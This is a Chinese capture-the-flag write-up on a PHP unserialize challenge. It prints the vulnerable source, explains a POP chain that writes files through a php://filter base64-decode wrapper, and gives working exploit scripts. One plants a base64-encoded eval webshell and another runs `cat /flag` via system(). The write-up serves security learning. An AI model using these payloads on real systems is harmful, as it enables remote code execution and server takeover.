[2020 新春红包题]1

这题和EZPOP基本差不多,拿出来一起写一下顺便好好学一下反序列化,太菜了、基本的pop链还没弄清晰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php 
error_reporting(0); 
class A { 
    protected $store; 
    protected $key; 
    protected $expire; 
    public function __construct($store, $key = 'flysystem', $expire = null) { 
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
 
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
 
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
 
        return $contents;
    }
 
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
 
        return json_encode([$cleaned, $this->complete]);
    }
 
    public function save() {
        $contents = $this->getForStorage();
 
        $this->store->set($this->key, $contents, $this->expire);
    }
 
    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}
 
class B {
 
    protected function getExpireTime($expire): int {
        return (int) $expire;
    }
 
    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }
 
    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }
 
        $serialize = $this->options['serialize'];
 
        return $serialize($data);
    }
 
    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;
 
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
 
        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
 
        $dir = dirname($filename);
 
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
 
        $data = $this->serialize($value);
 
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
 
        $data = "" . $data;
        $result = file_put_contents($filename, $data);
 
        if ($result) {
            return $filename;
        }
 
        return null;
    }
 
}
 
if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}
 
$dir = "uploads/";
 
if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

我吐了这个代码引用会自动解析闭合标签

打开给了源码。看到unserlialise知道是一道反序列化题了,看看怎么构造pop链

首先找一下入口方法。在A类的__destruct(),调用本类的save,通过构造A的$store为B对象,从而在A类的save()中调用B类的set
在B类的set中最终完成shell的写入

然后审计一下B类

在这里是命名

这里发现如果写入shell会拼接其他的PHP代码导致shell失败,如何绕过呢?

file_put_contents是支持php伪协议的,通过php://filter/write=convert.base64-decode/来将

$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码后的)会解码成正常的木马文件

$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。

然后我们看一下内容如何生成

发现关键是$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名,并返回交集。所以我们$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shellbase64编码,
JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
所以
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");

如果我们设值$path='1',$complete='2',则最后得到的$contents会是

[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]

其中$complete='2'因为在shell后面,所以并不影响解码。在本地试了试,发现$path='111'时,可以正常解码shell。这样的话,$data已经设置完毕。
别的就是一些判断条件的参数,最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
class A{ 
    protected $store; 
    protected $key; 
    protected $expire; 
    public function __construct() { 
    $this->key = '/../ha1c9on.php/.';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}
 
$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));

这是EZPOP的思路,这题使得文件名随机且后缀非PHP,所以我们看看如何绕过

看到师傅的WP,是直接写入一个cat/flag 的命令进去,不写webshell获得flag

学到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php class A{ 
    protected $store; 
    protected $key; 
    protected $expire; 
    public $cache = []; 
    public $complete = true; 
    public function __construct () {
        $this->store = new B();
        $this->key = '/../wtz.phtml';
        $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
    }
}
class B{
    public $options = [
        'serialize' => 'system',
        'prefix' => 'sssss',
    ];
}
echo urlencode(serialize(new A()));

获得的反序列化传入即可

参考:https://www.cnblogs.com/wangtanzhi/p/12337443.html

看到师傅们还有先传入.user.ini后传入图片马的。学到了

发表评论

邮箱地址不会被公开。 必填项已用*标注